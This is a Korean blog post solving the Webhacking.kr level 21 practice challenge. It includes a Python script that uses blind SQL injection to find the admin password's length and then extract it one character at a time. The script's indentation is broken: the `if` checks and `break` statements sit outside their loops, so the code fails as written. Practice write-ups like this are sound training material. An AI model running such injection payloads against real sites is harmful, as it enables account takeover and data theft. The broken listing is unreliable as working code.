웹해킹/Webhacking.kr

[Whois] 정보보안교육 - 웹해킹 2주차(2) & Webhacking.kr level21

美味코드 2021. 9. 20. 18:47

처음 guest 로그인은 로그인 성공으로 뜬다.

adminlogin fail(거짓)로 뜬다.

세 번째로 sql 공격을 해보니 wrong password라고 떴다.

, 쿼리문이 성립된다는 것인데(참) idamdin으로 하고 pw를 알아내야 한다.

 

f12(개발자 도구)에서 해당 페이지의 세션을 가져왔다.

참과 거짓일 경우의 반환값이 다르므로 Blind SQL Injection이다.

파이썬으로 코드를 짜주어야 한다.

import requests
stop=0
pw_len=0
pwd=''
url = "https://webhacking.kr/challenge/bonus-1/index.php?"
c = {"cookie":"'PHPSESSID'='qmq2gk5jk67e1luq2g43cflf57'"}
# 비밀번호 길이
for i in range(1,50):
	param = url+"id=admin' and length(pw) like {}%23&pw=1".format(i)
	res = requests.get(param, cookies=c)
if "wrong password" in res.text:
	pw_len = i
	print("pw len : {}".format(pw_len))
	break
# 비밀번호
for i in range(1, pw_len+1):
	for j in range(33,126):
		param = url+"id=admin' and ascii(substr(pw,{},1)) like {}%23&pw=1".format(i, j)
		res = requests.get(param, cookies=c)
		#print(param)
	if "wrong password" in res.text:
		pwd += chr(j)
		print(pwd)
		break

한 글자씩 연산하기에 시간이 조금 걸린다.

 

클리어.

 

코드 참조 https://watchout31337.tistory.com/255